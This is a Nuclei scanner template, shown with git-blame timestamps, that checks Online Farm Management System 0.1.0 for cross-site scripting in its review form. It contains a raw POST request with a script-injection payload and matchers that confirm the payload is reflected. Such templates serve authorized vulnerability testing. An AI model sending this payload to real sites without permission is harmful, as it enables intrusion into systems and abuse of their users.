2022-07-21 09:36:42 +00:00
|
|
|
id: onlinefarm-management-xss
|
2022-07-20 16:44:07 +00:00
|
|
|
|
|
|
|
info:
|
2022-07-20 18:22:19 +00:00
|
|
|
name: Online Farm Management System 0.1.0 - Cross-Site Scripting
|
2022-07-20 16:44:07 +00:00
|
|
|
author: arafatansari
|
2022-09-23 17:53:08 +00:00
|
|
|
severity: high
|
2022-07-20 16:44:07 +00:00
|
|
|
description: |
|
2022-09-23 17:53:08 +00:00
|
|
|
Online Farm Management System 0.1.0 contains a cross-site scripting vulnerability via the review.php file.
|
2022-07-20 18:22:19 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/48673
|
2022-09-23 17:53:08 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
|
|
|
cwe-id: CWE-79
|
2022-07-20 18:22:19 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 1
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: onlinefarm,cms,xss,edb
|
2022-07-20 16:44:07 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-07-20 16:44:07 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
2022-07-20 18:22:19 +00:00
|
|
|
POST /reviewInput.php?pid=1 HTTP/1.1
|
2022-07-20 16:44:07 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2022-07-20 18:22:19 +00:00
|
|
|
comment=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&rating=0
|
2022-07-20 16:44:07 +00:00
|
|
|
|
2022-10-07 21:27:25 +00:00
|
|
|
host-redirects: true
|
2022-07-20 16:44:07 +00:00
|
|
|
max-redirects: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2022-07-20 16:44:07 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-07-20 18:22:19 +00:00
|
|
|
- '<em style="color: black;"><script>alert(document.domain)</script>'
|
2022-07-20 16:44:07 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a0047304502200405d24e2befa9eb7fb7a28c36255465a4857f607a8e9db0ab3b311859bf217c022100fbcd0c98f19bbbbc075fd6f4f4672174eb49fb2836f1a96e5af1ee5d9d532a90:922c64590222798bb761d5b6d8e72950
|